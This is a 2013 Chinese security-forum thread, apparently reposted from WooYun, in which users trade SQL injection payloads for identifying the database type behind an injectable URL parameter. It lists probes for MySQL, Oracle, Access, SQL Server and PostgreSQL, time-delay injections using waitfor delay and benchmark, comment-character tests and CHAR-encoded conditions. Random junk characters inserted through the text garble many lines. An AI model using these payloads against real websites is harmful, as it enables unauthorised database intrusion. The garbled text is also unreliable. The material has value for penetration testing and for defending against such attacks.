找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2015|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
0 R0 X9 D3 h4 x8 M6 \$ |4 G, w! axsser (十根阳具有长短!!) | 2013-02-05 12:36
) h9 ?4 c4 F% W! K假设这么一个注射点:( W* E9 x; p6 d6 Q( K
show.html?id=20 M7 y3 M5 X3 M; l4 c( O3 Y
mysql:id=2 and version()>0
8 h8 M- Z9 U; o* Q) woracle:id=2 and '1'||'1'='11# j% G; B1 I* m3 t4 ?
其他的欢迎补充7 l3 _4 s  x0 x& R! v( a" s3 I' D; [
1#
7 f/ @' d& B/ e+ ]upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
# Z3 n% v6 Y  c& r, K) J: I: TAccess:
, S# [2 E8 B( s2 C" ^aNd aSc(cHr(97))=97
4 ?3 A' g, q7 j0 P7 u% xand exists(select id from MSysAccessObjects)' o; m" m; u2 R. p( ]7 |8 W
SQL Server:
& D  b- p" Z) C9 tand exists(select id from sysobjects)
6 L7 |  J9 f! `; L, L1 [and length(user)>0
1 O: X( ?8 X2 t+ a/ ^3 eMySQL:
3 a! ^7 r$ N. t4 r: o: ~2 B& pand length(user())>0
+ o  p1 K" `: H, C, ~2#' s3 l) ]7 O  ^9 l; X
xsser (十根阳具有长短!!) | 2013-02-05 12:487 p; f. `; Z2 [/ ]5 h
@upload 如果这些都不是呢…
$ ^5 c9 p! r# {, H3#
; E/ ]7 F- q+ ^( F: K' Fupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03) R. L8 k3 D+ N% R0 P" O
@xsser 不快速的,延时注入
8 k$ X0 @. E5 K) h) f不知道这样写对不对2 ~  p7 ~: [( ?" c
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
8 A8 D8 `# W: K) r$ Xmysql:id=2 and select benchmark(1e8,current_date());
* J* n/ [8 E3 R/ W6 ?$ P7 u& Y4#  D! U) j: p/ k, J
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 u+ e: g: G) y, ]  R最快的貌似是看报错信息
4 |2 Y8 \% U5 V: d. u& coracle error% ]5 K8 l! F& g0 p. n! u
mssql error
' |' R) N  q/ t* U! C: j' u9 bmysql error
% O# e6 i+ c1 q4 G+ o7 d' m5#: A6 ?9 Z* z  b* w
Nimda (你们都是坏银~) | 2013-02-05 13:14
/ s. w' Q0 I  U5 V3 f小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)4 X! q. X2 @7 a, V) `. n8 d
6#
3 ^4 S8 r4 ?' H' L0 c9 bupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
8 @: M. T/ \- x  R+ O/ E3 M“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
9 H- b& A: A6 z5 D  o“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
, @0 s, j& G# _3 q, ~- d5 K6 v$ I& J/ e“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
3 M% W% ^# b3 [: T7#
- F$ ]0 T$ F0 C7 ?6 g$ Z- F3 v_Evil (HackEnd) | 2013-02-05 13:337 }! Y4 |7 j; c" Q; t, l- j
PostgreSQL
" ]( M8 p+ {0 @6 K( Z8#( i! v+ G; X+ e% s3 f
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42- f9 S8 D' I8 c, \3 c
切换编码 and 1=13 s2 w9 H- m* H: _4 P' |5 `
oracle:: x5 S- h$ B6 C( q
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
) v. z5 T( y' [0 ?mssql:
% E7 A  e8 P- p2 }CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
( E* Y& H9 C" x0 n' i! e. Z% lmysql:$ O- e7 e8 k% f1 @" m
CHAR(97, 110, 100, 32, 49, 61, 49): h( Y/ {" u- x; L
9#& G' {0 o0 i, j/ v+ u
xsser (十根阳具有长短!!) | 2013-02-05 14:31
0 K4 G- q- `% [4 j0 U@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
6 O/ z- L  d8 _/ r1 d+ u3 h10#" Y' ]1 @0 v$ M: E  g% Q1 H
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
- U% ^3 ?# l: f9 U@xsser 是奇葩数据库类型的么?) _% K( l% ]& v1 B/ w5 ~
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
3 E0 K4 m7 I3 E; \1.是否可以使用特定的函数来判断,该数据库特有的
- \3 k. z0 |) q2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等' k2 D, S+ I7 q1 v
3.是否可以编码查询$ u4 |" r, Y8 q: @
4.是否显可以利用错信息3 \! u9 f3 W" u9 ^
5.是否存在数据库某些特性辅助判断
& y( q- `0 Q5 ^5 a. B0 }4 z个人见解5 c; X' T) [4 l4 ^( K( z
11#) w! L) \  U2 I' L
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55. q8 d- {  `. Q" ?1 T5 V  t
已收藏,mssql可以直接看到错误提示的吧~. R4 [: [0 M9 w
12#4 x' ^: V8 K0 |( Z
Passer_by | 2013-02-05 15:09" i7 L3 S* Z  _
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
- W+ O4 s! h4 ^! |0 m4 o/ S( zfrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表